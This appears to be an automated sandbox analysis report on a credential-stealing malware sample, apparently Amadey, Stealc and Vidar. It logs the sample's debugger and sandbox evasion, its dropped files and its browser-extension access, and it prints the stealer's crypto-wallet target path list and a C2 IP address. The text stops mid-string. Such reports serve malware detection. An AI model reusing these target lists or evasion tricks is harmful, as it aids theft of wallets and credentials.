Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsCBFBKFIDHI.exe

Code function: 21_2_05420ED2 rdtsc

21_2_05420ED2

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 3436	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5616	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6088	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4144	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4580	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4580	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4280	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4280	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3688	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8520	Thread sleep time: -330000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8520	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsCBFBKFIDHI.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C50C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C50C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000019.00000002.3281105600.00000000006F0000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Web Data.8.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2572476247.0000000001632000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2572476247.0000000001605000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3284172532.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3284172532.0000000000ABA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.8.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Web Data.8.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.8.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: skotes.exe, 00000019.00000002.3284172532.0000000000A8C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@$
Source: Web Data.8.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.8.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Web Data.8.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Web Data.8.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2572476247.00000000015BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Web Data.8.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2571224437.0000000000B95000.00000040.00000001.01000000.00000003.sdmp, DocumentsCBFBKFIDHI.exe, 00000015.00000002.2650516921.0000000000B60000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000016.00000002.2646437559.00000000006F0000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.2671554631.00000000006F0000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.3281105600.00000000006F0000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.8.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Web Data.8.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsCBFBKFIDHI.exe

Code function: 21_2_05420EE5 Start: 05420F6B End: 05420F67

21_2_05420EE5

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsCBFBKFIDHI.exe

Code function: 21_2_05420ED2 rdtsc

21_2_05420ED2

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C555FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C555FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C55C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C55C410

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0053652B mov eax, dword ptr fs:[00000030h]		25_2_0053652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0053A302 mov eax, dword ptr fs:[00000030h]		25_2_0053A302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C52B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C52B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 1680, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCBFBKFIDHI.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCBFBKFIDHI.exe "C:\Users\user\DocumentsCBFBKFIDHI.exe"
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: file.exe, file.exe, 00000000.00000002.2571224437.0000000000B95000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C52B341 cpuid

0_2_6C52B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4F35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C4F35A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 25.2.skotes.exe.500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.DocumentsCBFBKFIDHI.exe.970000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000003.3247584079.0000000004920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2630932532.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3280697655.0000000000501000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2605857590.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2671335593.0000000000501000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2562219017.0000000005210000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2650396881.0000000000971000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2646312422.0000000000501000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2572476247.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2055271175.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2570783490.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1680, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1680, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2570783490.0000000000844000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2572476247.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: PMW3U6MXers\user\AppData\Roaming\ElectronCash\wallets\.
Source: file.exe, 00000000.00000002.2570783490.0000000000844000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2572476247.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Exodus\window-state.json*
Source: file.exe, 00000000.00000002.2570783490.0000000000927000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2570783490.0000000000844000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2572476247.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Exodus\window-state.json*
Source: file.exe, 00000000.00000002.2570783490.0000000000844000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2570783490.0000000000844000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx 